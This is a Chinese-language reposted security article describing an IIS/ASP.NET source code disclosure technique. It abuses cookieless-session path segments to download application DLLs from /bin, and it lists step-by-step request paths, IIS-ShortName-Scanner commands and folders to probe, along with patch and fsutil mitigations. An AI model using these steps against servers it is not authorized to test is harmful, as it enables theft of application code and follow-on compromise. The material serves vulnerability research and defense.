最近，我偶然发现了一个有趣的 ASP.NET 应用程序。它看起来很安全，但意外地泄露了源代码。后来，我发现这种方法适用于许多其他 .NET Web 应用程序。

当您在 IIS 中启用 ASP.NET 功能时，服务器的任何页面都开始接受无 Cookie 会话。

https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10)

https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/

我每两三天就会玩我的网站，一切都是无济于事。只有两个页面，没有用户名，也没有密码。

然而，有一天，下面这一幕发生了：

在短短一秒钟内，DLL 就出现在了我的电脑上！它没有损坏，里面发现了一个远程代码执行漏洞！

调查

在获得 RCE 后，我能够访问目标的 web.config 文件。然后，我将其减少到最小可能的配置：

<?xml version="1.0" encoding="utf-8"?><configuration>  <system.webServer>    <modules runAllManagedModulesForAllRequests="true" />  </system.webServer></configuration>

就是这样。runAllManagedModulesForAllRequests 设置是我们成功的原因。

扩展 POC

很快我这种技术也适用于其他服务器。

runAllManagedModulesForAllRequests 设置并不罕见，我当天就能够从不同网站下载到几个 DLL。

我唯一注意到的是无法检查“/bin”目录的存在性：

http://Y.Y.Y.Y/ - 200http://Y.Y.Y.Y/bin - 404http://Y.Y.Y.Y/bin/ - 404http://Y.Y.Y.Y/bin/Navigator.dll - 404http://Y.Y.Y.Y/(S(x))/b/(S(x))in - 404http://Y.Y.Y.Y/(S(x))/b/(S(x))in/ - 404http://Y.Y.Y.Y/(S(x))/b/(S(x))in/Navigator.dll - 200

然而，通过应用 IIS-ShortName-Scanner，您不仅可以检查“/bin”目录的存在性，还可以发现其内容：

执行 java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/' 

IIS-ShortName-Scanner 和“::$INDEX_ALLOCATION”技巧均归功于 Soroush Dalili。

1.检查是否允许无 Cookie 会话。

如果您的应用程序在主文件夹中

/(S(X))/ /(Y(Z))/ /(G(AAA-BBB)D(CCC=DDD)E(0-1))/

如果您的应用程序在子文件夹中

/MyApp/(S(X))/ ...

2.（可选）使用 IIS-ShortName-Scanner。请注意，其功能与是否启用无 Cookie 会话无关。

java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/' java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'

除了“/bin”之外，我建议您检查其他特殊的.NET文件夹：

/App_Code /App_WebReferences /App_GlobalResources /App_LocalResources /App_Data /App_Themes /App_Browsers /Themes /Views /Models /Controllers

3.探索 404 页面。

对于 /(S(x))/b/(S(x))in/App.dll，它应该输出像 /bin/App.dll 的内容或无。如果是 .../b/(S(x))in/...404，这意味着已安装了补丁。

4.尝试读取 DLL。需要从缩短的 8.3 格式文件名中重建完整的文件名。

http://Y.Y.Y.Y/(S(x))/b/(S(x))in/MyApplicationFile.dllhttp://Y.Y.Y.Y/MyApp/(S(x))/b/(S(x))in/MyApplicationFile.dll

PDB 文件（如果存在）将无法访问。

将 Microsoft IIS 和 .NET Framework 更新到最新版本。对于 Windows Server 2019 和 .NET Framework 4.7，KB5034619 目前修复了源代码泄露问题。

为了减轻短文件名枚举的影响，请运行“fsutil behavior set disable8dot3 1”以禁用 8.3 名称创建。然后，重新启动系统，并运行“fsutil 8dot3name strip /s /v [PATH-TO-WEB-DIRETORY]”来删除所有现有的 8.3 文件名。

对于渗透测试人员和漏洞猎手

我建议检查明显的事物和技巧，包括不应该起作用的技巧。

举个例子，在另一个项目中，我的朋友能够直接从“/bin”目录下载 DLL 文件，尽管我从未见过这种技术成功过。

参考及来源：

https://swarm.ptsecurity.com/source-code-disclosure-in-asp-net-apps/

往期推荐

• XSS：不使用括号实现 JS函数调用

• 信息收集之 JS 文件

• XSS | 简介（1）

转发

收藏

点赞

在看

原文始发于微信公众号（安全小白团）：惊天大揭秘！任意ASP.NET应用程序源代码曝光，安全界震撼！